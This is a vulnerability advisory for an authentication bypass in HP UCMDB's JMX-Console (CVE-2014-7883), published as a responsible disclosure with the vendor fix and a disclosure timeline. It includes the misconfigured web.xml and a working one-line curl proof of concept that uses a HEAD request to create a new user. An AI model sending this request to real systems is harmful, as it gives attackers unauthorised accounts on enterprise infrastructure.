lab.mogwaisecurity.de because sharing is caring...

Hewlett-Packard UCMDB - JMX-Console Authentication Bypass

Title Hewlett-Packard UCMDB - JMX-Console Authentication Bypass
Id MSA-2015-02
CVE CVE-2014-7883
Product Hewlett-Packard Universal CMDB (UCMDB)
Affected versions UCMDB 10.10 (Other versions might also be affected)
Impact high
Remote yes
Product link http://www8.hp.com/us/en/software-solutions/configuration-management-system-database/index.html
Reported 14/11/2014
By Hans-Martin Muench (Mogwai, IT-Sicherheitsberatung Muench)

Vendor's Description of the Software:

The HP Universal CMDB (UCMDB) automatically collects and manages accurate and current business service definitions, associated infrastructure relationships and detailed information on the assets, and is a central component in many of the key processes in your IT organization, such as change management, asset management, service management, and business service management. The UCMDB ensures that these processes can rely on comprehensive and true data for all business services. Together with HP UCMDB Configuration Manager (UCMDB-CM) you can standardize your IT environments, and make sure they comply with clear policies, and defined authorization process. Many IT organizations turn to a CMDB and configuration management processes to create a shared single version of truth to support business service management, IT service management, change management, and asset management initiatives. These initiatives help align IT efforts with business requirements and run IT operations more efficiently and effectively. The initiatives success depends on the CMDB providing a complete view into the configuration items (CIs) and assets as well as how various IT elements relate together to deliver the business service.

Business recommendation:

Apply configuration changes from HP
https://softwaresupport.hp.com/group/softwaresupport/search-result/-/facetsearch/document/KM01351169

CVSS2 Ratings

CVSS Base Score 6.4
Impact Subscore 4.9
Exploitability Subscore 10
CVSS v2 Vector (AV:N/AC:L/Au:N/C:P/I:P/A:N)

Vulnerability description

UCMB administrators heavily rely on a JMX-Console, which is installed by default. The JMX-Console web application in UCMDB performs access control only for the GET and POST methods, which allows remote attackers to send requests to this application's GET handler by using a different method (for example HEAD).

The web.xml file of the JMX Console contains following security constrains:

<security-constraint>
<web-resource-collection>
<web-resource-name>Protected Pages</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
<auth-constraint>
<role-name>sysadmin</role-name>
</auth-constraint>
</security-constraint>

<security-constraint>
<web-resource-collection>
<web-resource-name>Callhome Servlet</web-resource-name>
<url-pattern>/callhome</url-pattern>
<http-method>GET</http-method>
<http-method>POST</http-method>
</web-resource-collection>
</security-constraint>

This vulnerability is identical with CVE-2010-0738 (JBoss JMX-Console Authentication bypass). This can be used to create a new account which can then be used to access the JMX console.

Proof of concept:

The following Curl command will send a HEAD request to create a new user "pocuser" in the UCMDB Backend:

curl -I
"http://foobar:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=UCMDB%3Aservice%3DAuthorization+Services&methodName=createUser&arg0=&arg1=zdi-poc&arg2=pocuser&arg3=zdi-poc&arg4=pocuser"

Disclosure timeline:

14/11/2014 Reporting issue to HP
18/11/2014 Re-Reporting, as no acknowledge received
18/11/2014 Acknowledge from HP
02/01/2015 Requesting status update from HP
29/01/2015 Requesting status update from HP
31/01/2015 Response from HP, they plan to release the advisory next week
05/02/2015 HP releases security bulletin
03/02/2015 Mogwai security bulletin release

Advisory URL: https://www.mogwaisecurity.de/#lab

Mogwai, IT-Sicherheitsberatung Muench
Steinhoevelstrasse 2/2
89075 Ulm (Germany)

info@mogwaisecurity.de